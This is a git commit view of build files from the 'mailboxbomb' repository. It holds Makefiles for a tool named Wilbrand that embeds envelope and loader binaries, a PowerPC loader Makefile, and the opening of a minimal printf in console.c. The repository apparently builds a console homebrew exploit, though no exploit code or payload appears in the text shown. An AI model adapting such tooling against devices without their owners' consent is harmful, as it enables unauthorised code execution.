mirror of
https://github.com/giantpune/mailboxbomb.git
synced 2024-11-28 06:24:20 +01:00
initial commit
This commit is contained in:
commit
fd256f90a6
156
Makefile
Normal file
156
Makefile
Normal file
@ -0,0 +1,156 @@
|
|||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# the prefix on the compiler executables
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
PREFIX :=
|
||||||
|
|
||||||
|
export CC := $(PREFIX)gcc
|
||||||
|
export CXX := $(PREFIX)g++
|
||||||
|
export AS := $(PREFIX)as
|
||||||
|
export AR := $(PREFIX)ar
|
||||||
|
export OBJCOPY := $(PREFIX)objcopy
|
||||||
|
export BIN2S := bin2s
|
||||||
|
export STRIP := $(PREFIX)strip
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.a:
|
||||||
|
@echo $(notdir $@)
|
||||||
|
@rm -f $@
|
||||||
|
@$(AR) -rc $@ $^
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.cpp
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.c
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.s
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.S
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin.o : %.bin
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(BIN2S) -a 32 $< | $(AS) -o $(@)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# INCLUDES is a list of directories containing extra header files
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
TARGET := Wilbrand
|
||||||
|
BUILD := build
|
||||||
|
SOURCES := source
|
||||||
|
DATA := data
|
||||||
|
INCLUDES :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
CFLAGS := -Wall -O3 -g -pipe -funroll-loops -DSEP=\"/\" -DSEPC=\'/\'
|
||||||
|
|
||||||
|
CFLAGS += $(INCLUDE)
|
||||||
|
CXXFLAGS := $(CFLAGS)
|
||||||
|
|
||||||
|
ASFLAGS := -g
|
||||||
|
LDFLAGS = -g -static -static-libgcc
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# any extra libraries we wish to link with the project (order is important)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBS :=
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CC)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||||
|
|
||||||
|
.PHONY: $(BUILD) clean
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(BUILD):
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(OUTPUT) : $(OFILES)
|
||||||
|
@echo linking $(notdir $@).debug
|
||||||
|
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@.debug
|
||||||
|
@echo strip $(notdir $@).debug "->" $(notdir $@)
|
||||||
|
@$(STRIP) -s $@.debug -o $@
|
||||||
|
|
||||||
|
|
||||||
|
-include $(DEPSDIR)/*.d
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------------
|
159
Makefile.win
Normal file
159
Makefile.win
Normal file
@ -0,0 +1,159 @@
|
|||||||
|
# makefile used for building a windows binary on a linux system
|
||||||
|
# using ubuntu mingw package
|
||||||
|
#
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# the prefix on the compiler executables
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
PREFIX := /usr/bin/i586-mingw32msvc-
|
||||||
|
|
||||||
|
export CC := $(PREFIX)gcc
|
||||||
|
export CXX := $(PREFIX)g++
|
||||||
|
export AS := $(PREFIX)as
|
||||||
|
export AR := $(PREFIX)ar
|
||||||
|
export OBJCOPY := $(PREFIX)objcopy
|
||||||
|
export BIN2S := bin2s
|
||||||
|
export STRIP := $(PREFIX)strip
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.a:
|
||||||
|
@echo $(notdir $@)
|
||||||
|
@rm -f $@
|
||||||
|
@$(AR) -rc $@ $^
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.cpp
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.c
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.s
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.S
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin.o : %.bin
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(BIN2S) -a 32 $< | sed 's/$(shell echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)/_$(shell echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)/' | $(AS) -o $(@)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# INCLUDES is a list of directories containing extra header files
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
TARGET := Wilbrand.exe
|
||||||
|
BUILD := build_win32
|
||||||
|
SOURCES := source
|
||||||
|
DATA := data
|
||||||
|
INCLUDES :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
CFLAGS := -Wall -O3 -g -pipe -funroll-loops -DSEP=\"\\\\\" -DSEPC=\'\\\\\'
|
||||||
|
|
||||||
|
CFLAGS += $(INCLUDE)
|
||||||
|
CXXFLAGS := $(CFLAGS)
|
||||||
|
|
||||||
|
ASFLAGS := -g
|
||||||
|
LDFLAGS = -g -static -static-libgcc
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# any extra libraries we wish to link with the project (order is important)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBS := -lwsock32
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS := /usr/i586-mingw32msvc
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||||
|
|
||||||
|
.PHONY: $(BUILD) clean
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(BUILD):
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile.win
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(OUTPUT) : $(OFILES)
|
||||||
|
@echo linking $(notdir $@).debug
|
||||||
|
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@.debug
|
||||||
|
@echo strip $(notdir $@).debug "->" $(notdir $@)
|
||||||
|
@$(STRIP) -s $@.debug -o $@
|
||||||
|
|
||||||
|
|
||||||
|
-include $(DEPSDIR)/*.d
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------------
|
159
Makefile.x86
Normal file
159
Makefile.x86
Normal file
@ -0,0 +1,159 @@
|
|||||||
|
# makefile used for building a 32bit binary on a x86_64 system
|
||||||
|
# using g++-multilib package
|
||||||
|
#
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
.SUFFIXES:
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# the prefix on the compiler executables
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
PREFIX :=
|
||||||
|
|
||||||
|
export CC := $(PREFIX)gcc
|
||||||
|
export CXX := $(PREFIX)g++
|
||||||
|
export AS := $(PREFIX)as
|
||||||
|
export AR := $(PREFIX)ar
|
||||||
|
export OBJCOPY := $(PREFIX)objcopy
|
||||||
|
export BIN2S := bin2s
|
||||||
|
export STRIP := $(PREFIX)strip
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.a:
|
||||||
|
@echo $(notdir $@)
|
||||||
|
@rm -f $@
|
||||||
|
@$(AR) -rc $@ $^
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.cpp
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.c
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.s
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.o: %.S
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
%.bin.o : %.bin
|
||||||
|
@echo $(notdir $<)
|
||||||
|
@$(BIN2S) -a 32 $< | $(AS) -o $(@) --32
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# TARGET is the name of the output
|
||||||
|
# BUILD is the directory where object files & intermediate files will be placed
|
||||||
|
# SOURCES is a list of directories containing source code
|
||||||
|
# INCLUDES is a list of directories containing extra header files
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
TARGET := Wilbrand.x86
|
||||||
|
BUILD := build.32
|
||||||
|
SOURCES := source
|
||||||
|
DATA := data
|
||||||
|
INCLUDES :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# options for code generation
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
CFLAGS := -Wall -O3 -g -pipe -funroll-loops -m32 -DSEP=\"/\" -DSEPC=\'/\'
|
||||||
|
|
||||||
|
CFLAGS += $(INCLUDE)
|
||||||
|
CXXFLAGS := $(CFLAGS)
|
||||||
|
|
||||||
|
ASFLAGS := -g
|
||||||
|
LDFLAGS = -g -static -static-libgcc -m32
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# any extra libraries we wish to link with the project (order is important)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBS :=
|
||||||
|
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# list of directories containing libraries, this must be the top level containing
|
||||||
|
# include and lib
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
LIBDIRS :=
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# no real need to edit anything past this point unless you need to add additional
|
||||||
|
# rules for different file extensions
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifneq ($(BUILD),$(notdir $(CURDIR)))
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OUTPUT := $(CURDIR)/$(TARGET)
|
||||||
|
|
||||||
|
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
|
||||||
|
|
||||||
|
export DEPSDIR := $(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
|
||||||
|
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
|
||||||
|
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
|
||||||
|
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# use CXX for linking C++ projects, CC for standard C
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
ifeq ($(strip $(CPPFILES)),)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CC)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
export LD := $(CXX)
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
export OFILES := $(addsuffix .o,$(BINFILES)) \
|
||||||
|
$(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o)
|
||||||
|
|
||||||
|
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
|
||||||
|
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
|
||||||
|
-I$(CURDIR)/$(BUILD)
|
||||||
|
|
||||||
|
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib)
|
||||||
|
|
||||||
|
.PHONY: $(BUILD) clean
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(BUILD):
|
||||||
|
@[ -d $@ ] || mkdir -p $@
|
||||||
|
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile.x86
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
clean:
|
||||||
|
@echo clean ...
|
||||||
|
@rm -fr $(BUILD) $(TARGET) $(TARGET).debug
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
else
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
# main targets
|
||||||
|
#---------------------------------------------------------------------------------
|
||||||
|
$(OUTPUT) : $(OFILES)
|
||||||
|
@echo linking $(notdir $@).debug
|
||||||
|
@$(LD) $(LDFLAGS) $(OFILES) $(LIBPATHS) $(LIBS) -o $@.debug
|
||||||
|
@echo strip $(notdir $@).debug "->" $(notdir $@)
|
||||||
|
@$(STRIP) -s $@.debug -o $@
|
||||||
|
|
||||||
|
|
||||||
|
-include $(DEPSDIR)/*.d
|
||||||
|
|
||||||
|
#---------------------------------------------------------------------------------------
|
||||||
|
endif
|
||||||
|
#---------------------------------------------------------------------------------------
|
BIN
Wilbrand.exe
Executable file
BIN
Wilbrand.exe
Executable file
Binary file not shown.
BIN
Wilbrand.x86
Executable file
BIN
Wilbrand.x86
Executable file
Binary file not shown.
BIN
data/envelope.bin
Normal file
BIN
data/envelope.bin
Normal file
Binary file not shown.
BIN
data/loader.bin
Executable file
BIN
data/loader.bin
Executable file
Binary file not shown.
5
loader/.gitignore
vendored
Normal file
5
loader/.gitignore
vendored
Normal file
@ -0,0 +1,5 @@
|
|||||||
|
font.c
|
||||||
|
version.c
|
||||||
|
|
||||||
|
loader.elf
|
||||||
|
loader.bin
|
76
loader/Makefile
Normal file
76
loader/Makefile
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
# Copyright 2008-2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
# This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
# see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
CROSS ?= $(WIIDEV)/bin/powerpc-elf-
|
||||||
|
#CROSS ?= /mnt/j/devkitPRO/devkitPPC17/bin/powerpc-gekko-
|
||||||
|
#CROSS ?= broadway-
|
||||||
|
|
||||||
|
|
||||||
|
ifeq ($(origin CC), default)
|
||||||
|
CC = $(CROSS)gcc -m32
|
||||||
|
endif
|
||||||
|
ifeq ($(origin LD), default)
|
||||||
|
LD = $(CROSS)ld
|
||||||
|
endif
|
||||||
|
|
||||||
|
OBJCOPY ?= $(CROSS)objcopy
|
||||||
|
|
||||||
|
|
||||||
|
CFLAGS := -Wall -W -O2 -ffreestanding -std=gnu99 -Wstrict-aliasing=2 \
|
||||||
|
-mno-eabi -mno-sdata -mcpu=750
|
||||||
|
|
||||||
|
targets := loader.bin
|
||||||
|
|
||||||
|
objs := crt0.o main.o string.o video.o ios.o sd.o fat.o elf.o sync.o font.o \
|
||||||
|
console.o exception.o exception_2200.o usbgecko.o time.o version.o
|
||||||
|
ppms := font.ppm
|
||||||
|
|
||||||
|
|
||||||
|
ifeq ($(V),1)
|
||||||
|
Q :=
|
||||||
|
else
|
||||||
|
Q := @
|
||||||
|
MAKEFLAGS += --no-print-directory
|
||||||
|
endif
|
||||||
|
|
||||||
|
|
||||||
|
all: $(targets)
|
||||||
|
|
||||||
|
$(targets): %.bin: %.elf
|
||||||
|
@echo " OBJCOPY $@"
|
||||||
|
$(Q)$(OBJCOPY) -O binary $< $@
|
||||||
|
|
||||||
|
elfs := $(targets:.bin=.elf)
|
||||||
|
$(elfs): %.elf: %.lds $(objs)
|
||||||
|
@echo " LINK $@"
|
||||||
|
$(Q)$(LD) $(LDFLAGS) -n -T $^ -o $@
|
||||||
|
|
||||||
|
%.o: %.c loader.h
|
||||||
|
@echo " COMPILE $@"
|
||||||
|
$(Q)$(CC) $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
crt0.o exception_2200.o: %.o: %.s
|
||||||
|
@echo " ASSEMBLE $@"
|
||||||
|
$(Q)$(CC) $(CFLAGS) -c $< -o $@
|
||||||
|
|
||||||
|
version.c: ../.version
|
||||||
|
@echo " VERSION $@"
|
||||||
|
$(Q)echo "const char version[] = \"`cat $^`\\\\n(`whoami`@`hostname -s`)\";" > $@
|
||||||
|
|
||||||
|
../.version: FORCE
|
||||||
|
$(Q)echo `basename $(PWD)` > $@
|
||||||
|
|
||||||
|
$(ppms): %.ppm: %.png
|
||||||
|
@echo " PPM $@"
|
||||||
|
$(Q)convert $< $@
|
||||||
|
|
||||||
|
font.c: %.c: %.ppm font2c.pl
|
||||||
|
@echo " FONT2C $@"
|
||||||
|
$(Q)perl font2c.pl < $*.ppm > $@
|
||||||
|
|
||||||
|
FORCE:
|
||||||
|
|
||||||
|
clean:
|
||||||
|
@echo "clean..."
|
||||||
|
@rm -rf $(objs) $(targets) $(elfs) font.c version.c ../.version
|
153
loader/console.c
Normal file
153
loader/console.c
Normal file
@ -0,0 +1,153 @@
|
|||||||
|
// Copyright 2009 Segher Boessenkool <segher@kernel.crashing.org>
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2;
|
||||||
|
// see file COPYING or http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt
|
||||||
|
|
||||||
|
|
||||||
|
#include <stdarg.h>
|
||||||
|
|
||||||
|
#include "loader.h"
|
||||||
|
|
||||||
|
|
||||||
|
static void put(char c)
|
||||||
|
{
|
||||||
|
fb_putc(c);
|
||||||
|
usbgecko_console_putc(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// __umoddi3() and friends are very big, and more general than we need:
|
||||||
|
// radix is always (very) small, so we can work by much bigger chunks
|
||||||
|
// than single bits, always.
|
||||||
|
static int extract_dig(u64 *x, u32 radix)
|
||||||
|
{
|
||||||
|
u32 hi = *x >> 32;
|
||||||
|
u32 lo = *x;
|
||||||
|
u32 mod = hi % radix;
|
||||||
|
hi /= radix;
|
||||||
|
u32 n = (mod << 16) | (lo >> 16);
|
||||||
|
mod = n % radix;
|
||||||
|
n /= radix;
|
||||||
|
lo = (mod << 16) | (lo & 0xffff);
|
||||||
|
mod = lo % radix;
|
||||||
|
lo /= radix;
|
||||||
|
lo |= (n << 16);
|
||||||
|
*x = ((u64)hi << 32) | lo;
|
||||||
|
return mod;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// This implements conversions %{0}{number}{l,ll}[%cdsux] only.
|
||||||
|
// Field length is obeyed for numbers only.
|
||||||
|
// Always returns 0.
|
||||||
|
|
||||||
|
int printf(const char *restrict format, ...)
|
||||||
|
{
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
va_start(ap, format);
|
||||||
|
|
||||||
|
while (*format) {
|
||||||
|
if (*format != '%') {
|
||||||
|
put(*format++);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
format++;
|
||||||
|
|
||||||
|
int zero = 0;
|
||||||
|
int prec = 0;
|
||||||
|
|
||||||
|
if (*format == '0') {
|
||||||
|
zero = 1;
|
||||||
|
format++;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (*format >= '0' && *format <= '9')
|
||||||
|
prec = 10*prec + (*format++ - '0');
|
||||||
|
|
||||||
|
int ll = 0;
|
||||||
|
while (*format == 'l') {
|
||||||
|
ll++;
|
||||||
|
format++;
|
||||||
|
}
|
||||||
|
|
||||||
|
int radix = 10;
|
||||||
|
int is_signed = 1;
|
||||||
|
|
||||||
|
switch (*format++) {
|
||||||
|
case '%':
|
||||||
|
put('%');
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'c':
|
||||||
|
put(va_arg(ap, int));
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 's':
|
||||||
|
;
|
||||||
|
char *s = va_arg(ap, char *);
|
||||||
|
while (*s)
|
||||||
|
put(*s++);
|
||||||
|
break;
|
||||||
|
|
||||||
|
case 'x':
|
||||||
|
radix = 16;
|
||||||
|
|
||||||
|
case 'u':
|
||||||
|
is_signed = 0;
|
||||||
|
|
||||||
|
case 'd':
|
||||||
|
;
|
||||||
|
u64 x;
|
||||||
|
if (is_signed) {
|
||||||
|
if (ll == 0)
|
||||||
|
x = va_arg(ap, int);
|
||||||
|
else if (ll == 1)
|
||||||
|
x = va_arg(ap, long);
|
||||||
|
else
|
||||||
|
x = va_arg(ap, long long);
|
||||||
|
} else {
|
||||||
|
if (ll == 0)
|
||||||
|
x = va_arg(ap, unsigned int);
|
||||||
|
else if (ll == 1)
|
||||||
|
x = va_arg(ap, unsigned long);
|
||||||
|
else
|
||||||
|
x = va_arg(ap, unsigned long long);
|
||||||
|
}
|
